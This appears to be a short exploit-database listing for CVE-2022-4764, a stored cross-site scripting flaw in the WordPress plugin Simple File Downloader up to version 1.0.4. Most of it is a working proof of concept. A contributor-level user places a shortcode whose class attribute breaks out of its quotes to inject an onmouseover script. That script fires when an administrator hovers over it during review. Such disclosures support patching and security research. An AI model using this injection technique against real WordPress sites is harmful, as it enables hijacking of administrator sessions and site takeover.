Exploit for Simple File Downloader <= 1.0.4 - Contributor+ Stored XSS via Shortcode CVE-2022-4764

Name: Exploit for Simple File Downloader <= 1.0.4 - Contributor+ Stored XSS via Shortcode CVE-2022-4764
Rating: 5 (143 reviews)

2023-01-25 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:788C6AA2-14CC-411F-95E8-5994F8C82D70
As a Contributor+ create a new post and add the following shortcode.

[media-downloader media_id='1' class='" onmouseover="alert(/XSS/)"']

Save it to be reviewed.

When an admin reviews the post and moves the mouse over the added code, the payload will be delivered.